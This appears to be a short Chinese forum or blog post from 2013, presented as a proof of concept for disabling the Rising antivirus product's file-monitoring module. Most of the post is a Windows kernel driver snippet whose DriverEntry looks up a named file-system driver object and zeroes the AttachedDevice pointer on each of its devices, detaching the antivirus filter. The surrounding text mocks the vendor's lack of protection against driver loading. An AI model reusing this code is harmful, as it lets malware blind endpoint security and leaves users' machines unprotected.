干掉瑞星杀毒监控模块任意玩(POC)

浏览： ℃

字体：大中小

发布时间：2013-12-09 23:23:59

来源：

连驱动加载都不防的厂商就不吐槽了.

最新版本,个人版杀毒软件

本来都不想测了，后来想想都下载了不找点问题对得起失去的流量吗？

void FuckFilters(WCHAR * Name){UNICODE_STRING TName;PDRIVER_OBJECT TDrvObj;PDEVICE_OBJECT CurrentDevice;NTSTATUS status;RtlInitUnicodeString ( &TName, Name);status = ObReferenceObjectByName( &TName,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,    NULL,(PVOID*)&TDrvObj);if(NT_SUCCESS(status)){if(TDrvObj){CurrentDevice = TDrvObj->DeviceObject;while(CurrentDevice != NULL ){CurrentDevice->AttachedDevice = 0;CurrentDevice = CurrentDevice->NextDevice; }ObDereferenceObject(TDrvObj);}}}NTSTATUS DriverEntry(    IN OUT PDRIVER_OBJECT   DriverObject,    IN PUNICODE_STRING      RegistryPath    ){  FuckFilters(L"//FileSystem//sysmon");}

本来是这样的